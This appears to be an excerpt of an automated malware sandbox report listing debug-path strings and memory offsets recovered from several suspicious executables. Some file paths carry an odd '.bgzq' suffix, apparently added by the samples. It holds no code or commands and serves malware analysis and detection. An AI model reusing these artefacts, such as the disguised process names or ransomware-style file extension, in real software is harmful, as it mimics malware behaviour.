Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\w\g source: lzShU2RYJa.exe, 00000004.00000003.2122180599.0000000009B12000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121686438.0000000009B09000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2136011626.0000000009B55000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135686106.0000000009B05000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135910274.0000000009B12000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135572547.0000000009B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: lzShU2RYJa.exe, 00000004.00000003.2182936841.0000000003663000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2190500758.0000000003660000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189866825.000000000363F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\BYY source: lzShU2RYJa.exe, 00000004.00000003.2193038000.0000000003556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\% source: lzShU2RYJa.exe, 00000004.00000003.2149867647.00000000034DE000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2152301005.00000000034F7000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2164267101.00000000034E9000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165069465.000000000351F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165212212.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150881074.00000000034DF000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163538558.00000000034E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ate\ source: lzShU2RYJa.exe, 00000004.00000003.2077179286.0000000003163000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076778711.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ Data\ source: lzShU2RYJa.exe, 00000004.00000003.2178293005.0000000003483000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2186063956.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2190500758.0000000003660000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189866825.000000000363F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\P source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2097856150.0000000003195000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077179286.0000000003163000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076682651.0000000003178000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076778711.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdbxt.bgzqxt5 source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a source: lzShU2RYJa.exe, 00000004.00000003.2171431465.0000000009B98000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2203997234.0000000009B99000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2184597991.0000000009B99000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: lzShU2RYJa.exe, 00000004.00000003.2122180599.0000000009B12000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121686438.0000000009B09000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2136011626.0000000009B55000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2143820420.0000000009B58000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135686106.0000000009B05000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135910274.0000000009B12000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135572547.0000000009B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000000.1745205959.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000002.1749056739.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1746563479.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\C source: lzShU2RYJa.exe, 00000004.00000003.2177143846.000000000351E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\r\\ source: lzShU2RYJa.exe, 00000004.00000003.2183728527.000000000351E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2190963116.000000000351E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189229761.0000000003517000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2190316884.000000000351C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ta\A source: lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: lzShU2RYJa.exe, 00000004.00000003.2196024448.000000000348B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2197421831.000000000349A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2203036181.000000000349A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\dm\ source: lzShU2RYJa.exe, 00000004.00000003.2135069960.0000000009C7A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149698128.0000000009C7A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149659795.0000000009C6A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\L source: lzShU2RYJa.exe, 00000004.00000003.2182936841.0000000003663000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2190500758.0000000003660000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189866825.000000000363F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z^C:\fixah\rarekoxewun-kadezezetoz\xaridevo pebudujogoril40\pom.pdb source: lzShU2RYJa.exe
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\es\s\ source: lzShU2RYJa.exe, 00000004.00000003.2076778711.000000000315A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1816443458.000000000315D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1816512954.000000000315D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1826729527.000000000315C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000000D.00000002.1907038497.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000D.00000000.1825240894.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 00000010.00000000.1905657736.0000000000401000.00000020.00000001.01000000.00000009.sdmp, mstsca.exe, 00000013.00000002.2007233188.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000013.00000000.1918649679.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000014.00000000.2006210701.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000002.2400290740.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000000.2348483514.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001A.00000000.2399555680.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000000.2938646873.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000002.3044272874.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001D.00000000.3043484355.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000002.3649760311.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000000.3538727281.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001F.00000000.3648799131.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: lzShU2RYJa.exe, 00000004.00000003.2122180599.0000000009B12000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121686438.0000000009B09000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.bgzq source: lzShU2RYJa.exe, 00000004.00000003.2121906304.0000000003114000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2202124610.000000000311A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2164163623.0000000003119000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077051503.0000000003116000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150826707.0000000003119000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2123140903.0000000003119000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097897568.0000000003114000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2099318404.0000000003119000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgzqY source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: lzShU2RYJa.exe, 00000004.00000003.2172396410.000000000357E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169498078.000000000354F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2164267101.00000000034E9000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165069465.000000000351F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2171542781.0000000003576000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165212212.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163538558.00000000034E9000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2170692327.0000000003567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\< source: lzShU2RYJa.exe, 00000004.00000003.2190500758.0000000003660000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189866825.000000000363F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\z source: lzShU2RYJa.exe, 00000004.00000003.2149867647.00000000034C7000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135325844.00000000034AE000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2143613910.00000000034AE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Cef\ source: lzShU2RYJa.exe, 00000004.00000003.2196024448.000000000348B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2197421831.000000000349A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2203036181.000000000349A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\$ source: lzShU2RYJa.exe, 00000004.00000003.2177788086.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2184242127.000000000354F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2185639341.0000000003556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\bwe\ source: lzShU2RYJa.exe, 00000004.00000003.2196024448.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2170624062.00000000034FF000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169647341.00000000034E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgzq++ source: lzShU2RYJa.exe, 00000004.00000003.2077051503.000000000313E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ate source: lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009AED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: lzShU2RYJa.exe, 00000004.00000003.2077014562.0000000009ABD000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076808618.0000000009AB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\* source: lzShU2RYJa.exe, 00000004.00000003.2076682651.0000000003178000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077146736.000000000319F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: lzShU2RYJa.exe, 00000004.00000003.2163247512.0000000009AD0000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165495748.0000000009ADD000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165374441.0000000009AD4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: lzShU2RYJa.exe, 00000004.00000003.2177788086.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169647341.0000000003526000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.bgzq source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077014562.0000000009ABD000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076808618.0000000009AB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2164697505.000000000319A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2172116266.000000000319D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2162836198.000000000319A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2168717124.0000000003187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\IE5 source: lzShU2RYJa.exe, 00000004.00000003.2135069960.0000000009C7A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149698128.0000000009C7A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149659795.0000000009C6A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\" source: lzShU2RYJa.exe, 00000004.00000003.2172396410.000000000357E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169498078.000000000354F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2164267101.00000000034E9000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165069465.000000000351F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2171542781.0000000003576000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165212212.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163538558.00000000034E9000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2170692327.0000000003567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: lzShU2RYJa.exe, 00000004.00000003.2097815529.000000000319D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121586456.000000000318B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2122972571.000000000319B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\w source: lzShU2RYJa.exe, 00000004.00000003.2184242127.000000000354F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2185639341.0000000003556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\nts\ags}\ source: lzShU2RYJa.exe, 00000004.00000003.2170624062.00000000034FF000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169647341.00000000034E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\**U source: lzShU2RYJa.exe, 00000004.00000003.2098763825.0000000009B3A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076724094.0000000009AF4000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009AED000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098246242.0000000009B12000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\p\ source: lzShU2RYJa.exe, 00000004.00000003.2150085330.0000000009AE6000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150567323.0000000009AE6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2163485281.0000000009BB0000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150765592.0000000009BF3000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163014831.0000000009C4C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2162899841.0000000009C47000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150356036.0000000009C60000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2164992228.0000000009C05000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149748870.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errore\AppCache133408945538176941.txttxt source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\s source: lzShU2RYJa.exe, 00000004.00000003.2169647341.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\* source: lzShU2RYJa.exe, 00000004.00000003.2150765592.0000000009BF3000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150953443.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149748870.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: lzShU2RYJa.exe, 00000004.00000003.2143613910.0000000003506000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149867647.00000000034DE000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135325844.0000000003506000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2152301005.00000000034F7000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150881074.00000000034DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.bgzqh source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp
